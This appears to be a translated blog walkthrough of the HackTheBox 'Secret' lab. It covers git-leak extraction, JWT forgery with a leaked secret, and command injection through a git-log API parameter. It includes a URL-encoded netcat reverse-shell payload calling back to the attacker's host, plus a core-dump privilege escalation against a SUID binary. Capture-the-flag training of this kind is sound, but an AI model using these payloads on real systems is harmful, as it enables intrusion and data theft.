Hackthebox easy secret foreign penetration actual shooting range

🧟 No wind offering wine 🧟

Small doctors save people 😈 Great medicine helps the world

☣️ try fair means before resorting to force ☢️

👻 Police 👻

📰 Major papers is the content of the author's study. It is intended to use this knowledge output method to build a solid foundation. If there are deficiencies, I hope big brother Haihan. 🧱 Learn from those worthy of learning and pay tribute to the previous generations!

🌑🌕 Dark mode, unlock, double immersive reading pleasure 🥤

Follow wx gzh: acesec

Jianghu hunting order

🦾 Sacrifice Nmap

┌──(root💀kali)-[/home/kali]└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.120Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-13 15:54 CSTNmap scan report for 10.10.11.120Host is up (0.30s latency).Not shown: 65532 closed portsPORT     STATE SERVICE VERSION22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)80/tcp   open  http    nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: DUMB Docs3000/tcp open  http    Node.js (Express middleware)|_http-title: DUMB DocsNo exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.91%E=4%D=3/13%OT=22%CT=1%CU=35012%PV=Y%DS=2%DC=T%G=Y%TM=622DA38OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=C)SEQOS:(SP=106%GCD=1%ISR=100%TI=Z%CI=Z%TS=C)OPS(O1=M505ST11NW7%O2=M505ST11NW7%OOS:3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=FE88%W2=OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNOS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DOS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%OOS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%WOS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%ROS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 587/tcp)HOP RTT       ADDRESS1   310.78 ms 10.10.14.12   305.76 ms 10.10.11.120
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 76.71 seconds

🪵 Access port 80

🪵 Nothing is found on the page, but the source code file at the bottom of the page can be downloaded. Download it

#Unzip after downloading┌──(root💀kali)-[/home/kali/Desktop]└─# unzip files.zip
┌──(root💀kali)-[/home/kali/Desktop]└─# ls -la                                                                              1 ⚙-rw-r--r--  1 kali kali 28849603 Mar 13 20:17 files.zipdrwxrwxr-x  8 root root     4096 Sep  3  2021 local-web​​​​​​​
┌──(root💀kali)-[/home/kali/Desktop/local-web]└─# ls -la                                                                              1 ⚙total 116drwxrwxr-x   8 root root  4096 Sep  3  2021 .drwxr-xr-x   6 kali kali  4096 Mar 13 20:31 ..-rw-rw-r--   1 root root    72 Sep  3  2021 .envdrwxrwxr-x   8 root root  4096 Sep  9  2021 .git-rw-rw-r--   1 root root   885 Sep  3  2021 index.jsdrwxrwxr-x   2 root root  4096 Aug 13  2021 modeldrwxrwxr-x 201 root root  4096 Aug 13  2021 node_modules-rw-rw-r--   1 root root   491 Aug 13  2021 package.json-rw-rw-r--   1 root root 69452 Aug 13  2021 package-lock.jsondrwxrwxr-x   4 root root  4096 Sep  3  2021 publicdrwxrwxr-x   2 root root  4096 Sep  3  2021 routesdrwxrwxr-x   4 root root  4096 Aug 13  2021 src-rw-rw-r--   1 root root   651 Aug 13  2021 validations.js

🪵 It should be an open source project, and then the git file was leaked.

🦾 Git file disclosure and utilization

🪵 Using tools: https://github.com/LucifielHack/GitTools

🪵 After downloading the tool, use the following:

┌──(root💀kali)-[/home/kali/Desktop]└─# /home/kali/Desktop/GitTools-master/Extractor/extractor.sh local-web/ dump           1 ⚙############ Extractor is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########[*] Destination folder does not exist[*] Creating...[+] Found commit: 4e5547295cfe456d8ca7005cb823e1101fd1f9cb[+] Found file: /home/kali/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env..............

🪵 After that, you can see that the data has been extracted six times

┌──(root💀kali)-[/home/kali/Desktop/dump]└─# ls -la                                                                              1 ⚙total 32drwxr-xr-x 8 root root 4096 Mar 13 21:31 .drwxr-xr-x 8 kali kali 4096 Mar 13 21:28 ..drwxr-xr-x 7 root root 4096 Mar 13 21:29 0-4e5547295cfe456d8ca7005cb823e1101fd1f9cbdrwxr-xr-x 7 root root 4096 Mar 13 21:29 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8drwxr-xr-x 7 root root 4096 Mar 13 21:30 2-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78drwxr-xr-x 7 root root 4096 Mar 13 21:31 3-de0a46b5107a2f4d26e348303e76d85ae4870934drwxr-xr-x 7 root root 4096 Mar 13 21:31 4-e297a2797a5f62b6011654cf6fb6ccb6712d2d5bdrwxr-xr-x 7 root root 4096 Mar 13 21:32 5-3a367e735ee76569664bf7754eaaade7c735d702

🪵 View these data one by one:

┌──(root💀kali)-[/home/kali/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]└─# ls -la                                                                              1 ⚙total 116drwxr-xr-x   7 root root  4096 Mar 13 21:29 .drwxr-xr-x   8 root root  4096 Mar 13 21:31 ..-rw-r--r--   1 root root   219 Mar 13 21:28 commit-meta.txt-rw-r--r--   1 root root   174 Mar 13 21:28 .env-rw-r--r--   1 root root   885 Mar 13 21:28 index.jsdrwxr-xr-x   2 root root  4096 Mar 13 21:28 modeldrwxr-xr-x 201 root root  4096 Mar 13 21:29 node_modules-rw-r--r--   1 root root   491 Mar 13 21:29 package.json-rw-r--r--   1 root root 69452 Mar 13 21:29 package-lock.jsondrwxr-xr-x   3 root root  4096 Mar 13 21:29 publicdrwxr-xr-x   2 root root  4096 Mar 13 21:29 routesdrwxr-xr-x   4 root root  4096 Mar 13 21:29 src-rw-r--r--   1 root root   651 Mar 13 21:29 validations.js

🪵 It can be determined that it is a source code library, and the breakthrough is / routes / auth JS

┌──(root💀kali)-[/home/.../Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/routes]└─# cat auth.js​​​​​​​
const router = require('express').Router();const User = require('../model/user');const bcrypt = require('bcryptjs')const jwt = require('jsonwebtoken')const { registerValidation, loginValidation} = require('../validations')
router.post('/register', async (req, res) => {
    // validation    const { error } = registerValidation(req.body)    if (error) return res.status(400).send(error.details[0].message);
    // check if user exists    const emailExist = await User.findOne({email:req.body.email})    if (emailExist) return res.status(400).send('Email already Exist')
    // check if user name exist     const unameexist = await User.findOne({ name: req.body.name })    if (unameexist) return res.status(400).send('Name already Exist')
    //hash the password    const salt = await bcrypt.genSalt(10);    const hashPaswrod = await bcrypt.hash(req.body.password, salt)

    //create a user     const user = new User({        name: req.body.name,        email: req.body.email,        password:hashPaswrod    });
    try{        const saveduser = await user.save();        res.send({ user: user.name})
    }    catch(err){        console.log(err)    }
});

// login 
router.post('/login', async  (req , res) => {
    const { error } = loginValidation(req.body)    if (error) return res.status(400).send(error.details[0].message);
    // check if email is okay     const user = await User.findOne({ email: req.body.email })    if (!user) return res.status(400).send('Email is wrong');
    // check password     const validPass = await bcrypt.compare(req.body.password, user.password)    if (!validPass) return res.status(400).send('Password is wrong');

    // create jwt     const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )    res.header('auth-token', token).send(token);
})
router.use(function (req, res, next) {    res.json({        message: {
            message: "404 page not found",            desc: "page you are looking for is not found. "        }    })});
module.exports = router

🪵 From above, auth JS, you can see that there is / register to request it

🪵 After seeing the source code, it is not difficult to understand its logic. The logic of the program is to register the user first, check whether the email and user name exist, and encrypt the password. Then the program jumps to the login page, which checks whether the email name and password entered by the user are correct, and generates a jwt token value to send to the user.

🪵 First, add a DNS resolution

┌──(root💀kali)-[/home/kali/Desktop]└─# echo 10.10.11.120 secret.htb >> /etc/hosts

🪵 Follow the logic of the program. First register a user and use the curl command to register

┌──(root💀kali)-[/home/kali]└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "acesec","email": "acesec@acesec.com","password": "123456"}'

🪵 Then log in with the registered user

🪵 Log in successfully and get the token

┌──(root💀kali)-[/home/kali]└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "acesec@acesec.com","password": "123456"}'Note: Unnecessary use of -X or --request, POST is already inferred.*   Trying 10.10.11.120:80...* Connected to secret.htb (10.10.11.120) port 80 (#0)> POST /api/user/login HTTP/1.1> Host: secret.htb> User-Agent: curl/7.74.0> Accept: */*> Content-Type: application/json> Content-Length: 51> * upload completely sent off: 51 out of 51 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Server: nginx/1.18.0 (Ubuntu)< Date: Mon, 14 Mar 2022 07:05:10 GMT< Content-Type: text/html; charset=utf-8< Content-Length: 208< Connection: keep-alive< X-Powered-By: Express< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlZTA2MmE3ZDY1NzA0NWUwZGZmODEiLCJuYW1lIjoiYWNlc2VjIiwiZW1haWwiOiJhY2VzZWNAYWNlc2VjLmNvbSIsImlhdCI6MTY0NzI0MTUxMH0.hpgz6dUqTjw8sy9a5oalmmqErV9oChs1gCqoz0WXTTY< ETag: W/"d0-w7+RJUD8gBD3cmM8U8/MvQxVQV4"< * Connection #0 to host secret.htb left intacteyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlZTA2MmE3ZDY1NzA0NWUwZGZmODEiLCJuYW1lIjoiYWNlc2VjIiwiZW1haWwiOiJhY2VzZWNAYWNlc2VjLmNvbSIsImlhdCI6MTY0NzI0MTUxMH0.hpgz6dUqTjw8sy9a5oalmmqErV9oChs1gCqoz0WXTTY

🪵 View and analyze / routes / verifytoken Contents of JS file

const jwt = require("jsonwebtoken");
module.exports = function (req, res, next) {    const token = req.header("auth-token");    if (!token) return res.status(401).send("Access Denied");
    try {        const verified = jwt.verify(token, process.env.TOKEN_SECRET);        req.user = verified;        next();    } catch (err) {        res.status(400).send("Invalid Token");    }};

 

🦾 Construct Payload

🪵 Knowing the verification process of JWT token, let's construct a payload to check our current permissions

┌──(root💀kali)-[/home/kali]└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlZTA2MmE3ZDY1NzA0NWUwZGZmODEiLCJuYW1lIjoiYWNlc2VjIiwiZW1haWwiOiJhY2VzZWNAYWNlc2VjLmNvbSIsImlhdCI6MTY0NzI0MTUxMH0.hpgz6dUqTjw8sy9a5oalmmqErV9oChs1gCqoz0WXTTY'{"role":{"role":"you are normal user","desc":"acesec"}}

Get the packet back, and the display is an ordinary user permission

🪵 View the of the root directory env file, got a tokne

┌──(root💀kali)-[/home/kali/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]└─# cat .env                                                                       2 ⚙DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

🪵 By viewing private JS learned that the verification logic is that as long as name = theadmin is the admin account

const router = require('express').Router();const verifytoken = require('./verifytoken')const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {   // res.send(req.user)
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    if (name == 'theadmin'){        res.json({            creds:{                role:"admin",                 username:"theadmin",                desc : "welcome back admin,"            }        })    }    else{        res.json({            role: {                role: "you are normal user",                desc: userinfo.name.name            }        })    }})

router.get('/logs', verifytoken, (req, res) => {    const file = req.query.file;    const userinfo = { name: req.user }    const name = userinfo.name.name;
    if (name == 'theadmin'){        const getLogs = `git log --oneline ${file}`;        exec(getLogs, (err , output) =>{            if(err){                res.status(500).send(err);                return            }            res.json(output);        })    }    else{        res.json({            role: {                role: "you are normal user",                desc: userinfo.name.name            }        })    }})
router.use(function (req, res, next) {    res.json({        message: {
            message: "404 page not found",            desc: "page you are looking for is not found. "        }    })});

module.exports = router

🦾 Forged JWT token

🪵 Forge a JWT token

🪵 Use the online JWT modification tool or JWT_ JWT token can be modified by tools

 https://jwt.io/

 https://link.zhihu.com/?target=https%3A//github.com/ticarpi/jwt_tool

🪵 Online tools

Forge an admin token

Here we need to modify two places, change the name to theadmin, and then fill in the box below The token value obtained by env can generate a new JWT token

🪵 Verify the new JWT token and find that it is already admin permission

┌──(root💀kali)-[/home/kali]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

🪵 By analyzing private JS file, we found that the file name must be specified as the get parameter of the file with the name

┌──(root💀kali)-[/home/kali]└─# curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE'    {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}

Looks like a command injection?

🦾 Vulnerability exploitation

┌──(root💀kali)-[/home/kali]└─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE'"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"

🪵 Confirm that the vulnerability exists. Now let's use nc to listen to a port

nc -nvlp 4444

🦾 Construct Payload

🪵 Then construct a payload to use

┌──(root💀kali)-[/home/kali]└─# curl 'http://secret.htb/api/logs?file=;rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.3+4444+%3E%2Ftmp%2Ff%0A%0A' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE'

🦾GET Shell

🪵 Successfully obtained a shell

┌──(root💀kali)-[~]└─# nc -lnvp 4444                                       listening on [any] 4444 ...connect to [10.10.14.3] from (UNKNOWN) [10.10.11.120] 36752/bin/sh: 0: can't access tty; job control turned off$ python3 -c "import pty.spawn('/bin/bash')";dasith@secret:~/local-web$ whoamiwhoamidasithdasith@secret:~/local-web$ ididuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)dasith@secret:~/local-web$

🪵 Get a more complete interactive shell:

python3 -c "import pty;pty.spawn('/bin/bash')";

🦾 Normandy landing: user permission flag

🪵 Successfully obtained the flag file with user permission:

dasith@secret:~/local-web$ cd ..cd ..dasith@secret:~$ ls -lals -latotal 68drwxr-xr-x 8 dasith dasith  4096 Oct  7 13:12 .drwxr-xr-x 3 root   root    4096 Sep  3  2021 ..lrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .bash_history -> /dev/null-rw-r--r-- 1 dasith dasith   220 Feb 25  2020 .bash_logout-rw-r--r-- 1 dasith dasith  3771 Feb 25  2020 .bashrcdrwx------ 2 dasith dasith  4096 Aug 13  2021 .cachedrwx------ 3 dasith dasith  4096 Aug 13  2021 .configlrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .dbshell -> /dev/null-rw-rw-r-- 1 dasith dasith    48 Sep  3  2021 .gitconfigdrwxrwxr-x 3 dasith dasith  4096 Sep  3  2021 .localdrwxrwxr-x 8 dasith dasith  4096 Sep  8  2021 local-web-rw------- 1 dasith dasith     0 Aug 13  2021 .mongorc.jsdrwxrwxr-x 5 dasith dasith  4096 Sep  3  2021 .npmdrwxrwxr-x 5 dasith dasith  4096 Mar 14 06:27 .pm2-rw-r--r-- 1 dasith dasith   807 Feb 25  2020 .profile-rw-rw-r-- 1 dasith dasith    66 Sep  8  2021 .selected_editor-r-------- 1 dasith dasith    33 Mar 14 06:27 user.txt-rw------- 1 dasith dasith 10942 Sep  8  2021 .viminfodasith@secret:~$ cat user.txtcat user.txtf5f687a20e74c35bb8cefa2edfc4a87a

🦾 root privilege promotion

🪵 Take a look at the current executable

dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null/usr/bin/pkexec/usr/bin/sudo/usr/bin/fusermount/usr/bin/umount/usr/bin/mount/usr/bin/gpasswd/usr/bin/su/usr/bin/passwd/usr/bin/chfn/usr/bin/newgrp/usr/bin/chsh/usr/lib/snapd/snap-confine/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/openssh/ssh-keysign/usr/lib/eject/dmcrypt-get-device/usr/lib/policykit-1/polkit-agent-helper-1/opt/count/snap/snapd/13640/usr/lib/snapd/snap-confine/snap/snapd/13170/usr/lib/snapd/snap-confine/snap/core20/1169/usr/bin/chfn/snap/core20/1169/usr/bin/chsh/snap/core20/1169/usr/bin/gpasswd/snap/core20/1169/usr/bin/mount/snap/core20/1169/usr/bin/newgrp/snap/core20/1169/usr/bin/passwd/snap/core20/1169/usr/bin/su/snap/core20/1169/usr/bin/sudo/snap/core20/1169/usr/bin/umount/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1169/usr/lib/openssh/ssh-keysign/snap/core18/2128/bin/mount/snap/core18/2128/bin/ping/snap/core18/2128/bin/su/snap/core18/2128/bin/umount/snap/core18/2128/usr/bin/chfn/snap/core18/2128/usr/bin/chsh/snap/core18/2128/usr/bin/gpasswd/snap/core18/2128/usr/bin/newgrp/snap/core18/2128/usr/bin/passwd/snap/core18/2128/usr/bin/sudo/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core18/2128/usr/lib/openssh/ssh-keysign/snap/core18/1944/bin/mount/snap/core18/1944/bin/ping/snap/core18/1944/bin/su/snap/core18/1944/bin/umount/snap/core18/1944/usr/bin/chfn/snap/core18/1944/usr/bin/chsh/snap/core18/1944/usr/bin/gpasswd/snap/core18/1944/usr/bin/newgrp/snap/core18/1944/usr/bin/passwd/snap/core18/1944/usr/bin/sudo/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core18/1944/usr/lib/openssh/ssh-keysign

🪵 Some executable binaries were obtained

🪵 Keep your eyes on / opt/count

dasith@secret:/opt$ cat code.c
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <dirent.h>#include <sys/prctl.h>#include <sys/types.h>#include <sys/stat.h>#include <linux/limits.h>
void dircount(const char *path, char *summary){    DIR *dir;    char fullpath[PATH_MAX];    struct dirent *ent;    struct stat fstat;
    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
    if((dir = opendir(path)) == NULL)    {        printf("\nUnable to open directory.\n");        exit(EXIT_FAILURE);    }    while ((ent = readdir(dir)) != NULL)    {        ++tot;        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);        strcat(fullpath, "/");        strncat(fullpath, ent->d_name, strlen(ent->d_name));        if (!lstat(fullpath, &fstat))        {            if(S_ISDIR(fstat.st_mode))            {                printf("d");                ++directories;            }            else if(S_ISLNK(fstat.st_mode))            {                printf("l");                ++symlinks;            }            else if(S_ISREG(fstat.st_mode))            {                printf("-");                ++regular_files;            }            else printf("?");            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");            printf((fstat.st_mode & S_IROTH) ? "r" : "-");            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");        }        else        {            printf("??????????");        }        printf ("\t%s\n", ent->d_name);    }    closedir(dir);
    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);    printf("\n%s", summary);}

void filecount(const char *path, char *summary){    FILE *file;    char ch;    int characters, words, lines;
    file = fopen(path, "r");
    if (file == NULL)    {        printf("\nUnable to open file.\n");        printf("Please check if file exists and you have read privilege.\n");        exit(EXIT_FAILURE);    }
    characters = words = lines = 0;    while ((ch = fgetc(file)) != EOF)    {        characters++;        if (ch == '\n' || ch == '\0')            lines++;        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')            words++;    }
    if (characters > 0)    {        words++;        lines++;    }
    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);    printf("\n%s", summary);}

int main(){    char path[100];    int res;    struct stat path_s;    char summary[4096];
    printf("Enter source file/directory name: ");    scanf("%99s", path);    getchar();    stat(path, &path_s);    if(S_ISDIR(path_s.st_mode))        dircount(path, summary);    else        filecount(path, summary);
    // drop privs to limit file write    setuid(getuid());    // Enable coredump generation    prctl(PR_SET_DUMPABLE, 1);    printf("Save results a file? [y/N]: ");    res = getchar();    if (res == 121 || res == 89) {        printf("Path: ");        scanf("%99s", path);        FILE *fp = fopen(path, "a");        if (fp != NULL) {            fputs(summary, fp);            fclose(fp);        } else {            printf("Could not open %s for writing\n", path);        }    }
    return 0;}

🪵 This is the source code of count. Through analysis, we know that in most cases, if we crash in the execution code, the report will usually be saved in / var/crash

Under normal circumstances, this is impossible, but set prctl(PR_SET_DUMPABLE, 1) through this pem;, It can be implemented

Since it is set to 1, we can generate the core dump, which requires two conditions

  1. First, make sure you have two shell s

  2. Can cause a crash

Specific references https://man7.org/linux/man-pages/man2/prctl.2.html

🪵 Shell 1​​​​​​​

dasith@secret:/opt$ ./count./countEnter source file/directory name: /root/root.txt/root/root.txt
Total characters = 33Total words      = 2Total lines      = 2Save results a file? [y/N]: yyPath:

🪵 After execution, go to shell 2 to crash the process

🪵 shell 2​​​​​​​

dasith@secret:/opt$ ps -aux | grep countps -aux | grep countroot         830  0.0  0.1 235672  7488 ?        Ssl  06:26   0:00 /usr/lib/accountsservice/accounts-daemondasith      1489  0.0  0.0   2488   592 pts/0    S+   08:23   0:00 ./countdasith      1517  0.0  0.0   6432   740 pts/1    S+   08:33   0:00 grep --color=auto countdasith@secret:/opt$ kill -BUS 1489kill -BUS 1489

🪵 After execution, go back to shell 1 and find an additional sentence Path: Bus error (core dumped) in Path. It can be seen that the process has crashed

🪵 shell 1

dasith@secret:/opt$ ./count./countEnter source file/directory name: /root/root.txt/root/root.txt
Total characters = 33Total words      = 2Total lines      = 2Save results a file? [y/N]: yyPath: Bus error (core dumped)

🪵 You can see that the error log has been generated

dasith@secret:/opt$ cd /var/crashcd /var/crashdasith@secret:/var/crash$ ls -lals -latotal 88drwxrwxrwt  2 root   root    4096 Mar 14 08:34 .drwxr-xr-x 14 root   root    4096 Aug 13  2021 ..-rw-r-----  1 dasith dasith 28040 Mar 14 08:34 _opt_count.1000.crash

🪵 Create your own directory and copy the files

🪵 By using app unpack, we can easily debug the crash of the program.

dasith@secret:/var/crash$ mkdir /tmp/acesecdasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/acesecdasith@secret:/var/crash$ cd /tmp/acesecdasith@secret:/tmp/acesec$ ls -latotal 436drwxr-xr-x  2 dasith dasith   4096 Mar 14 08:46 .drwxrwxrwt 13 root   root     4096 Mar 14 08:45 ..-rw-r--r--  1 dasith dasith      5 Mar 14 08:46 Architecture-rw-r--r--  1 dasith dasith 380928 Mar 14 08:46 CoreDump-rw-r--r--  1 dasith dasith     24 Mar 14 08:46 Date-rw-r--r--  1 dasith dasith     12 Mar 14 08:46 DistroRelease-rw-r--r--  1 dasith dasith     10 Mar 14 08:46 ExecutablePath-rw-r--r--  1 dasith dasith     10 Mar 14 08:46 ExecutableTimestamp-rw-r--r--  1 dasith dasith      5 Mar 14 08:46 ProblemType-rw-r--r--  1 dasith dasith      7 Mar 14 08:46 ProcCmdline-rw-r--r--  1 dasith dasith      4 Mar 14 08:46 ProcCwd-rw-r--r--  1 dasith dasith     53 Mar 14 08:46 ProcEnviron-rw-r--r--  1 dasith dasith   2144 Mar 14 08:46 ProcMaps-rw-r--r--  1 dasith dasith   1336 Mar 14 08:46 ProcStatus-rw-r--r--  1 dasith dasith      1 Mar 14 08:46 Signal-rw-r--r--  1 dasith dasith     29 Mar 14 08:46 Uname-rw-r--r--  1 dasith dasith      3 Mar 14 08:46 UserGroups

🪵 You can see that there is a CoreDump file, which we output as a string

dasith@secret:/tmp/acesec$ strings CoreDumpstrings CoreDumpCORECOREcount./count IGISCORECOREELIFCORE/opt/count/opt/count/opt/count/opt/count/opt/count/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.soCOREPath: CouldLINUXPath: Could/lib64/ld-linux-x86-64.so.2libc.so.6setuidexitreaddirfopenclosedir__isoc99_scanfstrncpy__stack_chk_failputcharfgetcstrlenprctlgetcharfputsfcloseopendirgetuidstrncat__cxa_finalize__libc_start_mainsnprintf__xstat__lxstatGLIBC_2.7GLIBC_2.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableUnable to open directory.??????????Total entries       = %dRegular files       = %dDirectories         = %dSymbolic links      = %dUnable to open file.Please check if file exists and you have read privilege.Total characters = %dTotal words      = %dTotal lines      = %dEnter source file/directory name: %99sSave results a file? [y/N]: Path: Could not open %s for writing:*3$"Path: esults a file? [y/N]: words      = 2Total lines      = 2oot/root.txt5fa8441d1d205afd5bcc44d56c96c8b4aliasesethersXgroupgshadowhostsinitgroupsnetgroupnetworkspasswdprotocolspublickeyservicesshadowCAk[Slibc.so.6/lib/x86_64-linux-gnulibc.so.6uTi7J|F:m_rtld_global__get_cpu_features_dl_find_dso_for_object_dl_make_stack_executable_dl_exception_create__libc_stack_end_dl_catch_exceptionmalloc_dl_deallocate_tls_dl_signal_exception__tunable_get_val__libc_enable_secure__tls_get_addr_dl_get_tls_static_infocalloc_dl_exception_free_dl_debug_state_dl_argv_dl_allocate_tls_init_rtld_global_rorealloc_dl_rtld_di_serinfo_dl_mcount_dl_allocate_tls_dl_signal_error_dl_exception_create_format_r_debug_dl_catch_errorld-linux-x86-64.so.2GLIBC_2.2.5GLIBC_2.3GLIBC_2.4GLIBC_PRIVATEsse2x86_64avx512_1i586i686haswellxeon_philinux-vdso.so.1tls/x86_64/x86_64/tls/x86_64//lib/x86_64-linux-gnu/libc.so.6%%%%%%%%%%%%%%%%ory name: %99s6km!6kmh/root/root.txtTotal characters = 33Total words      = 2Total lines      = 2x86_64./countSHELL=/bin/shversioning=[object Object]unstable_restarts=0treekill=trueenv=[object Object]filter_env=namespace=defaultrestart_time=0DB_CONNECT=mongodb://127.0.0.1:27017/auth-webaxm_options=[object 